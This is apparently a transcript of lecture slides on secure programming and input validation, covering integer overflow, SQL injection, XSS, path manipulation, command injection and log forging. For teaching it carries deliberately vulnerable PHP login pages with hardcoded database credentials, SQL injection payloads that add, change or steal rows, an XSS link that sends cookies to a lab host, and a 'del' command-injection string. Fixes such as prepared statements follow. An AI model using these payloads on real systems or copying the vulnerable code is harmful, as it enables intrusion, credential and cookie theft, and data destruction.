S ECURE P ROGRAMMING 5. H ANDLING I NPUT (P ART 2) Chih Hung Wang Reference: 1. B. Chess and J....

Post on 27-Dec-2015

212 views 0 download

Tags:

transcript

1

SECURE PROGRAMMING

5. HANDLING INPUT (PART 2)

Chih Hung Wang

Reference:1. B. Chess and J. West, Secure Programming with Static Analysis, Addison-Wesley, 2007.2. R. C. Seacord, Secure Coding in C and C++, Addison-Wesley, 2006.

2

How to Validate – More Detail (20)

Make Good Input Validation the Default (1) Instead of coding up a new solution to the input

validation problem every time, arrange your program so that there is a clear, consistent, and obvious place for input validation.

This means creating a layer of abstraction on top of the system libraries the program uses to get input. Make good input validation the default by creating a layer of functions or methods that replace the built-in ones. We call this a security-enhanced API.

3

How to Validate – More Detail (21)

Make Good Input Validation the Default (2)

A Secure-enhanced API

4

How to Validate – More Detail (22)

Make Good Input Validation the Default (3)

5

How to Validate – More Detail (24) readlink() problem (1)

6

How to Validate – More Detail (25)

readlink() problem (2)

7

How to Validate – More Detail (26)

The off-by-one error in readlink()

8

How to Validate – More Detail (27)

The wrapper for readlink() --(1)

9

How to Validate – More Detail (28)

The wrapper for readlink() --(2)

10

How to Validate – More Detail (29)

Code that implements the same functionality as strncpy but adds the property that destination string will always be null-terminated.

11

How to Validate – More Detail (30)

Continuous…

12

How to Validate – More Detail (31)

Wrapper methods around Session.setAttribute() make it hard to forget about input validation.

13

How to Validate – More Detail (32)

Example 5.22 shows what can happen when a security-enhanced API isn’t adopted. The code reads three Boolean values in three different ways.

14

How to Validate – More Detail (33) Check Input Length

Checks for reasonable maximum input length can make it harder for an attacker to exploit other vulnerabilities in the system.

15

How to Validate – More Detail (34)

Bad codes

16

How to Validate – More Detail (34)

Better… C

Java

Java does bounds checking And enforces type safety Low-memory condition

17

How to Validate – More Detail (35)

Bound Numeric Input (1) Check numeric input against both a maximum

value and a minimum value as part of input validation.

18

How to Validate – More Detail (36)

Bound Numeric Input (2) An implicit conversion from a signed value to an

unsigned value. A negative argument to doAlloc() results in malloc() attempting to allocate a very large amount of memory.

19

How to Validate – More Detail (37)

Bound Numeric Input (3) An implicit conversion from an unsigned value to

a signed value. getFileSize() returns a signed value, but it takes its return value from an unsigned struct field. This causes the value returned from getFileSize() to be negative for files larger than 2GB.

20

How to Validate – More Detail (37)-1

Integer Error Signed and Unsigned

21

How to Validate – More Detail (37)-2

Integer Range

22

How to Validate – More Detail (37)-3

Signed and Unsigned Overflow

See signed_pb.c

23

How to Validate – More Detail (37)-4

Integer Overflow Vulnerability

Note: Cannot run in ubuntu GCC

24

How to Validate – More Detail (37)-5

Another Case (run in Windows XP)

#include <stdio.h>#include <malloc.h>#include <string.h>

void getComment(unsigned short len, char *src){ //int i; unsigned short size, as;

size=len - 2; as=size+1; char *comment = (char*)malloc(size+1);

//for(i=0;i<size/100;i++) //comment[i]=src[i];

memcpy(comment, src, size); printf("%s\n", comment); printf("%u\n", size+1); printf("%u\n", as); return;}

int main(){ char cmm[65535]; int i; for(i=0;i<65534;i++) cmm[i]='c';

getComment(1, cmm);

}

See sign_error3.c

25

How to Validate – More Detail (37)-4

A good example of Integer Overflow

See integer_over.c

26

Preventing Metacharacter Vulnerabilities (1)

Many metacharacter problems: Use parameterized commands. We continue the SQL example there. Then we look at three other types of metacharacter vulnerabilities: Path manipulation Command injection Log forging

27

Preventing Metacharacter Vulnerabilities (2)

Use Parameterized Requests (1) SQL Injection attack

28

Preventing Metacharacter Vulnerabilities (3)

Use Parameterized Requests (2) SQL injection attack example

which is the same as

29

Preventing Metacharacter Vulnerabilities (4)

Use Parameterized Requests (3)

Treated as comments

30

Preventing Metacharacter Vulnerabilities (5)

Use Parameterized Requests (4)

31

Preventing Metacharacter Vulnerabilities (6)

Using a parameterized query helps prevent SQL injection

32

Preventing Metacharacter Vulnerabilities (7)

However, parameterized SQL does not guarantee that SQL injection is impossible. We’ve seen situations in which programmers were told “Use prepared statements for security reasons” but weren’t told what those security reasons are.

33

Preventing Metacharacter Vulnerabilities (8)

Preventing SQL injection can also be viewed as an input validation problem. A programmer might accept characters only from a whitelist of safe values or identify and escape a blacklist of potentially malicious values.

Again, blacklisting is riddled with loopholes that make it ineffective at preventing SQL injection attacks. For example, attackers can: Target fields that are not quoted Find ways to bypass the need for certain escaped

metacharacters Use stored procedures to hide the injected

metacharacters

34

SQL Injection Real Case (1)

Install Apache 、 PHP and mysql

http://120.113.173.21/sqj1.php

35

SQL Injection Real Case (2) Source code (sqj1.php)<?php

if (isset($_POST["login"])){

$link = mysql_connect('localhost', 'secpro', 'Snsysu001');mysql_set_charset('utf8', $link);$db_selected = mysql_select_db('Secure_Programming_Test', $link);

$query = "SELECT * FROM member WHERE username='" . $_POST["username"] . "' AND password='" . $_POST["password"] . "'";

$result = mysql_query($query) or die("MySQL Query Error : " . mysql_error() . " SQL: " . $query);

$match_count = mysql_num_rows($result);

if ($match_count) {

mysql_free_result($result);

mysql_close($link);header("Location: http://140.130.175.123/sqj1_s.php?user=" .

$_POST["username"]);}else{

header("Location: http://" . $_SERVER["HTTP_HOST"] . $_SERVER["SCRIPT_NAME"]);

}}?>

36

SQL Injection Real Case (3) Source code-cont. (sqj1.php)<html>

<head><title>SQL Injection Test 1</title></head><body><div style="text-align: center;"><span><big style="font-weight: bold; color: red;"><big><big>SQL Injection 練習 </big></big></big><br><br>請輸入登入的帳號與密碼 </span><br></div><br><form method="post" name="form1" id="form1"><table align="center"> <tbody> <tr> <td align="left" valign="top"> <div> &nbsp;&nbsp;UserID&nbsp; <input name="username" id="username" type="text"> </div> </td> <td align="left" valign="top"> <div> &nbsp;&nbsp;Password&nbsp; <input name="password" id="password" type="password"> </div> </td> <td align="center" valign="middle"> <input name="login" id="login" value="Login" type="submit"> </td> </tr> </tbody></table></form><div style="text-align: center;"><br><span style="font-weight: bold; color: rgb(0, 102, 0);"> 請勿隨意嘗試 SQL Injection 攻擊 </span><br style="font-weight: bold; color: rgb(0, 102, 0);"><span style="font-weight: bold; color: rgb(0, 102, 0);"> 密碼錯誤三次將會暫停使用 </span></div></body></html>

37

SQL Injection Real Case (4) Source code (sqj1_s.php)

<html><head><title>SQL Injection Pass</title></head><body><div style="color: red;" align="center"><big><big> <span><spanstyle="font-weight: bold;"> 歡迎!你已進入 SQL Injection 測試成功網頁</span> </span></big></big></div><p> </p><center><span style="font-weight: bold; color: rgb(0, 0, 153);"> 你的帳戶 :</span><?php echo $_GET["user"]; ?></center></body></html>

38

SQL Injection Real Case (5) Using phpmyadmin (http://www.phpmyadmin.net/

) Connect the database

http://120.113.173.21/phpmyadmin/

39

SQL Injection Real Case (6)

Database: Secure_Programming_Test Table: member

Fields: id 、 username and password username=test1 password=mytest

40

SQL Injection Real Case (7)

A successful login

41

SQL Injection Real Case (8)

Using SQL Injection attack Enter ' OR '1' = '1 into both username and

password

See the followings: SELECT * FROM member WHERE username='' OR

'1' = '1' AND password='' OR '1' = '1';

42

SQL Injection Real Case (9)

Enter username: attacker and password: ' OR '1' = '1 . The login is also successful.

See the followings: SELECT * FROM member WHERE

username='attacker' AND password='' OR '1' = '1';

43

SQL Injection Real Case (10) Another method: UserID : ' OR '1'='1' -- and

password: any string.

See the followings: SELECT * FROM member WHERE username='' OR

'1'='1' -- ' AND password='asdfgh'; -- denotes the comments

44

SQL Injection Real Case (11)

SQL Injection can perform Insert, Delete, Update, etc. commands.

sqj2.php can use the method of mysqli_multi_query.

45

SQL Injection Real Case (12) Source code (sqj2.php)<?php

if (isset($_POST["login"])){

$link = mysqli_connect('localhost', 'secpro', 'Snsysu001');mysqli_set_charset('utf8', $link);$db_selected = mysqli_select_db($link, 'Secure_Programming_Test');

$query = "SELECT * FROM member WHERE username='" . $_POST["username"] . "' AND password='" . $_POST["password"] . "'";

$result = mysqli_multi_query($link, $query) or die("MySQL Query Error : " . mysqli_error($link) . " SQL: " . $query);

$match = mysqli_store_result($link);

if (mysqli_fetch_row($match)) {

mysqli_free_result($result);

mysqli_close($link);header("Location: http://140.130.175.123/sqj2_s.php?user=" .

$_POST["username"]);}else{

header("Location: http://" . $_SERVER["HTTP_HOST"] . $_SERVER["SCRIPT_NAME"]);

}}?>

46

SQL Injection Real Case (13) Source code –cont. (sqj2.php)<html>

<head><title>SQL Injection Test 2</title></head><body><div style="text-align: center;"><span><big style="font-weight: bold; color: red;"><big><big>SQL Injection 練習 2 ( 多指令查詢 )</big></big></big><br><br>請輸入登入的帳號與密碼 </span><br></div><br><form method="post" name="form1" id="form1"><table align="center"> <tbody> <tr> <td align="left" valign="top"> <div> &nbsp;&nbsp;UserID&nbsp; <input name="username" id="username" type="text"> </div> </td> <td align="left" valign="top"> <div> &nbsp;&nbsp;Password&nbsp; <input name="password" id="password" type="password"> </div> </td> <td align="center" valign="middle"> <input name="login" id="login" value="Login" type="submit"> </td> </tr> </tbody></table></form><div style="text-align: center;"><br><span style="font-weight: bold; color: rgb(0, 102, 0);"> 請勿隨意嘗試 SQL Injection 攻擊 </span><br style="font-weight: bold; color: rgb(0, 102, 0);"><span style="font-weight: bold; color: rgb(0, 102, 0);"> 密碼錯誤三次將會暫停使用 </span></div></body></html>

47

SQL Injection Real Case (14) Source Code (sqj2_s.php)

<html><head><title>SQL Injection Pass</title></head><body><div style="color: red;" align="center"><big><big> <span><spanstyle="font-weight: bold;"> 歡迎!你已進入 SQL Injection 2 ( 多指令查詢 ) 測試成功網頁 </span> </span></big></big></div><p> </p><center><span style="font-weight: bold; color: rgb(0, 0, 153);"> 你的帳戶 :</span><?php echo $_GET["user"]; ?></center></body></html>

48

SQL Injection Real Case (15)

See the following attack: Username : ' OR '1'='1'; INSERT INTO member

(username, password) VALUES ('haha', 'haha') -- Any string of password

49

SQL Injection Real Case (16) The attacker can perform “error testing”

$result = mysqli_multi_query($link, $query)

or die("MySQL Query Error : " . mysqli_error($link) . " SQL: " . $query); ' OR '1'='1' abcd (username) Any password

50

SQL Injection Real Case (17)

sqj2.php crack!

51

SQL Injection Real Case (18)

Successful!

52

SQL Injection Real Case (19) Check the database

53

SQL Injection Real Case (20) Update the data in the database

' OR '1'='1'; UPDATE member SET password='hacker007' WHERE username='test1' --

Any password The password of test1 has been modified.

54

SQL Injection Prevention (1)

Using the blacklist method It is not a good method. There are many kinds of attacking patterns. For example, only filter the ‘OR’.

55

SQL Injection Prevention (2) Source code (part) (sqj3.php)

$query = "SELECT * FROM member WHERE username='" . $_POST["username"] . "' AND password='" . $_POST["password"] . "'";

if (preg_match('/OR/', $_POST['username']) || preg_match('/or/', $_POST['username']) || preg_match('/Or/', $_POST['username'])|| preg_match('/oR/', $_POST['username'])) die("Error!!! SQL Injection Attack!!"); if (preg_match('/OR/', $_POST['password']) || preg_match('/or/', $_POST['password']) || preg_match('/Or/', $_POST['password'])|| preg_match('/oR/', $_POST['password'])) die("Error!!! SQL Injection Attack!!");

56

SQL Injection Prevention (3)

Disadvantages: The username has the patterns of OR/or/Or/oR Mysql can use “||” Enter ' || '1' = '1' -- as the username

57

SQL Injection Prevention (4)

Better approach: Prepared statements “?” (question mark) placeholder

58

SQL Injection Prevention (5)

SELECT * FROM member WHERE username= ?1 AND password= ?

2

Interpret SQL

?1=test1 ?2=mytest

SELECT * FROM member WHERE username= 'test1' AND

password= 'mytest'

Set the variables

Execute!

59

SQL Injection Prevention (6) Source Code Part (sqj4.php)

$stmt=mysqli_prepare($link, "SELECT * FROM member WHERE username= ? AND password= ?"); mysqli_stmt_bind_param($stmt, 'ss', $_POST["username"], $_POST["password"]); $result = mysqli_stmt_execute($stmt); //or die("MySQL Query Error : " . mysql_error());

$match = mysqli_stmt_store_result($stmt);

if (mysqli_stmt_num_rows($stmt)) {

mysqli_stmt_close($stmt);mysqli_close($link);header("Location: http://140.130.175.123/sqj4_s.php?user=" .

$_POST["username"]);}else{

header("Location: http://" . $_SERVER["HTTP_HOST"] . $_SERVER["SCRIPT_NAME"]);

}

60

SQL Injection Prevention (7)

Test ‘ OR ’1‘=’1‘ -- or ' || '1'='1' – Cannot pass the verification!

61

SQL Injection: Stealing the sensitive data from database (1)

See the example sqj5.php

62

SQL Injection: Stealing the sensitive data from database (2)

<?phpif (isset($_POST["search"])){ $link = mysql_connect('localhost', 'secpro', 'Snsysu001');

mysql_set_charset('utf8', $link);$db_selected = mysql_select_db('Secure_Programming_Test',

$link);

$query = "SELECT * FROM mybook WHERE title='" . $_POST["title"] . "'"; $result = mysql_query($query);

//or die("MySQL Query Error : " . mysql_error() . " SQL: " . $query);

$match_count = mysql_num_rows($result); }

?>

Sqj5.php

63

SQL Injection: Stealing the sensitive data from database (3)<html><head><meta http-equiv="Content-Type" content="text/html; charset=utf8"><title>SQL Injection 5</title></head><body><div style="font-weight: bold; color: red;" align="center"><big> <spanclass="style1"><big> 歡迎 ! 這是 SQL Injection 測試網頁 5 ( 竊取資料庫內的資料範例 )</big> </span></big></div><p> </p> <font size="6"><b> BOOK Search </b> </font> <br> <form method="post" name="form1" id="form1"><input name="title" type="text" id="title" value="<?php echo $_POST["title"];?>" /><input type="submit" name="search" id="search" value="Search" /></form>

<?php if (isset($_POST["search"])){ ?><p><table border=1><tr><th>BookID</th><th>Title</th><th>Authors</th><th>Publisher</th><th>Year</th><th>Price</th></tr>

Sqj5.php Cont.

64

SQL Injection: Stealing the sensitive data from database (4)

<?php}

for ($i = 0; $i < $match_count; $i++) { $row = mysql_fetch_row($result); echo "<tr>\n"; for ($j = 0; $j < 6; $j++) { echo "<td>" . $row[$j] . "</td>\n"; } echo "</tr>\n"; } mysql_free_result($result);

mysql_close($link); ?></table> </body></html>

Sqj5.php Cont.

65

SQL Injection: Stealing the sensitive data from database (5)

mybook Table

66

SQL Injection: Stealing the sensitive data from database (6)

Using union: ' union select *, null, null, null from member --

67

SQL Injection: Stealing the sensitive data from database (7)

See the following attack result

68

Simple XSS Attack

See demo

xsstest1.html

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">

<html xmlns="http://www.w3.org/1999/xhtml">

<head>

<meta http-equiv="Content-Type" content="text/html; charset=utf8" />

<title>xsstest1</title>

</head>

<body>

<a href="http://140.130.175.123/xsstest1.php?user=<script>document.location='http://140.130.175.123/xsstest1-1.php?cookie='%2Bdocument.cookie;</script>">

Press me!

</a>

</body>

</html>

69

Path Manipulation (1) If user input is allowed to include file system metacharacters

such as a forward slash (/), backslash (\), or period (.), an attacker might be able to specify an absolute path where a relative path is expected or traverse the file system to an unintended location by moving up the directory tree. Unauthorized file system access of this type is called path manipulation.

The programmer has not considered the possibility that an attacker could provide a filename such as ../../tomcat/conf/server.xml, which causes the application to delete one of its own configuration files.

70

Path Manipulation (2)

This code uses a whitelist to prevent path manipulation.

71

Command Injection (1)

If user input is allowed to specify system commands your program executes, attackers might be able to cause the system to carry out malicious commands on their behalf.

The problem is that the program does not do any validation on the backuptype parameter read from the user. Typically, the Runtime.exec() method will not execute multiple commands, but in this case, the program first runs the cmd.exe shell in order to run multiple commands with a single call to Runtime.exec().

72

Command Injection (2)

When the shell is invoked, it will happily execute multiple commands separated by two ampersands. If an attacker passes a string of the form "&& del c:\\dbms\\*.*", the application will execute this command along with the others specified by the program.

73

Command Injection (3)

This code uses a whitelist to prevent command injection.

74

Log Forging (1) Logs are a target for attackers. If attackers can control a value that is written to the

log, they might be able to fabricate events on the system by including entire falsified log entries in the input they provide.

A log forging vulnerability caused by unvalidated input read from an HTTP request.

75

Log Forging (2)

If a user submits the string "twenty-one" for val, the following entry is logged: INFO: Failed to parse val=twenty-one

However, if an attacker submits the string "twenty-one%0a%0aINFO:+User+logged+out%3dbadguy",

The following entry is logged: INFO: Failed to parse val=twenty-one INFO: User logged out=badguy

Clearly, attackers can use this same mechanism to insert arbitrary log entries.

76

Log Forging (3)

One way to prevent log forging vulnerabilities is to encode data before going to the log file. Example 5.37 repairs the code in Example 5.35 by URL-encoding the request data before logging them.

77

Summary

It’s easy to say “Don’t trust input,” but it takes real effort to determine all the implicit ways a program might be putting unwarranted faith in some aspect of its input. Identify all the program’s input sources. Choose the right approach to performing input

validation. Track which input values have been validated

and what properties that validation checked. Keep an eye out for the way different

components interpret the data your program pass along.